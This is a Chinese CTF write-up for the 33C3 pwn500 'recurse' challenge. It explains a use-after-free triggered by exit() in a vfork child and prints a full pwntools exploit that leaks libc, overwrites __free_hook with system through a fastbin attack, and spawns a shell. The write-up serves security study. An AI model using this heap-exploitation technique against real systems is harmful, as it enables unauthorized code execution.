zoukankan      html  css  js  c++  java
  • 33c3-pwn500-recurse

    Recurse

        好记性不如烂笔头。当时没有记录,现在趁着有时间简单写一写,为以后留备份。

        这个题目当时并没有队伍做出来,赛后作者发布了题目的源码和解答。看了之后发现是一个UAF漏洞,不过漏洞很不好找。直接用IDA的F5看代码会感觉怪怪的,这是因为程序的编译用到了safestack,safestack是llvm中一种防止内存破坏漏洞的措施,该机制将栈分为了safestack和unsafestack。clang编译器动态的生成一段空间来作为unsafestack并将一些有可能发生内存破坏的变量放到其中。Unsafestack的地址可以通过程序的tls(thread local storage)获取,如下图:

        关于safestack的介绍,http://blog.includesecurity.com/2015/11/LLVM-SafeStack-buffer-overflowprotection.html,我觉得这个写得很好。

        程序是一个C++的程序,成员变量包含一个std::string,赛后看了源码之后发现成员变量只有一个string对象。关于std::string对象,可以参考上一篇博客的简单介绍。

    来介绍一下vfork,根据man page的介绍,vfork和fork类似,只是vfork的子进程并不拷贝父进程的页表,也就是说子进程和父进程共用页表、进程空间。vfork产生子进程后,父进程会被阻塞等待子进程的退出后父进程重新执行,由于子进程和父进程共用的是同一个栈,所以对子进程有一些限制,限制的作用在于不破坏父进程的栈。如果子进程不遵守这些限制,则程序的行为是不确定的。

        可以看到在option 3中,程序通过vfork生成了子进程,并且紧接着就调用execl来启动子进程。看起来一切正常,但是如果execl调用失败的话,程序会执行err函数,在err函数中会调用exit函数,exit函数会对全局的C++对象进行析构,从而将申请的内存给释放掉造成UAF。注意子进程可以调用_exit,但是不能调用exit,因为exit会调用程序运行时注册的各种析构函数。关于exit的介绍,我觉得这一篇很棒:http://m.udpwork.com/item/11573.html

        全局的C++对象中存在std::string,而std::string的长度大于15的时候,会申请堆空间来存放字符串。因此,如果造成C++全局对象的析构的话,堆上的空间将会被释放。这个时候就可以通过内存重叠来造成信息泄露和任意地址写。关于如何造成内存重叠,每个人的方法可能不一样,我的exp参考了官方的exp但是和官方的exp的内存布局不一样。关于信息泄露,我们则是通过泄露fastbin的fd指针进行泄露。任意地址写则是通过fastbin攻击,伪造fast chunk。

     1 #!/usr/bin/env python2
     2 # -*- coding: utf-8 -*-
     3 from pwn import *
     4 #context.log_level = 'debug'
     5 
     6 HOST = '127.0.0.1'
     7 PORT = 10000
     8 r = remote(HOST, PORT)
     9 
    10 def enter(name = 'AAAA'):
    11   r.readuntil('iterate')
    12   r.sendline('2')
    13   r.readuntil('name?')
    14   r.sendline(name)
    15 
    16 def leave():
    17   r.readuntil('iterate')
    18   r.sendline('6')
    19 
    20 def trigger_uaf():
    21   enter('A'*140*1024)
    22   for i in range(33):
    23     r.readn(4095)
    24 
    25   r.readuntil('iterate')
    26   r.sendline('3')
    27   leave()
    28 
    29 MSB = 'x7f'
    30 libc_leak_off = 0x3bdb58
    31 free_hook = 0x3bf788
    32 system = 0x43f40
    33 
    34 raw_input('go!')
    35 r.readuntil('name?')
    36 r.sendline(p64(0x31))
    37 
    38 r.readuntil('iterate')
    39 r.sendline('1')
    40 r.readuntil('name?')
    41 r.sendline('A'*400)
    42 raw_input('go!')
    43 
    44 enter(p64(0x31)*8)
    45 enter(p64(0x31)*8)
    46 
    47 trigger_uaf()
    48 raw_input('After trigger UAF')
    49 enter(p64(0x31)*8)
    50 enter(p64(0x31)*8)
    51 
    52 enter(p64(0x31)*7)
    53 small_data = p64(0x31) + p64(0) + 'x00'*0xe
    54 enter(small_data)
    55 enter(small_data)
    56 
    57 leave()
    58 leave()
    59 leave()
    60 
    61 leave()
    62 leave()
    63 leave()
    64 leave()
    65 
    66 leak = r.readuntil('iterate')
    67 leak_off = leak.find(MSB)-5
    68 assert leak_off >= 0
    69 libc = u64(leak[leak_off:leak_off+8]) - libc_leak_off
    70 
    71 r.unrecv('iterate')
    72 r.readuntil('iterate')
    73 r.sendline('1')
    74 r.readuntil('name?')
    75 fakefd = libc - 0x100
    76 data1 = 0xa0*'x00' + p64(0x240) + p64(0x31) + p64(fakefd)
    77 r.sendline(data1)
    78 
    79 raw_input('stop here')
    80 enter('a'*16)
    81 enter('b'*16)
    82 enter(p64(0x31)+'x00')
    83 data2 = 'a'*24 + p64(libc+free_hook)[:6]
    84 enter(data2)
    85 leave()
    86 leave()
    87 
    88 r.readuntil('iterate')
    89 r.sendline('1')
    90 r.readuntil('name?')
    91 r.sendline(p64(libc+system))
    92 enter('/bin/shx00'*2)
    93 leave()
    94 r.interactive()
    View Code

  • 相关阅读:
    十二周作业
    十一周作业
    第十周作业
    第九周作业
    第八周作业
    第七周作业
    2019年第六周作业
    第五周作业总结
    介绍自己
    第一学期总结
  • 原文地址:https://www.cnblogs.com/wangaohui/p/6657858.html
Copyright © 2011-2022 走看看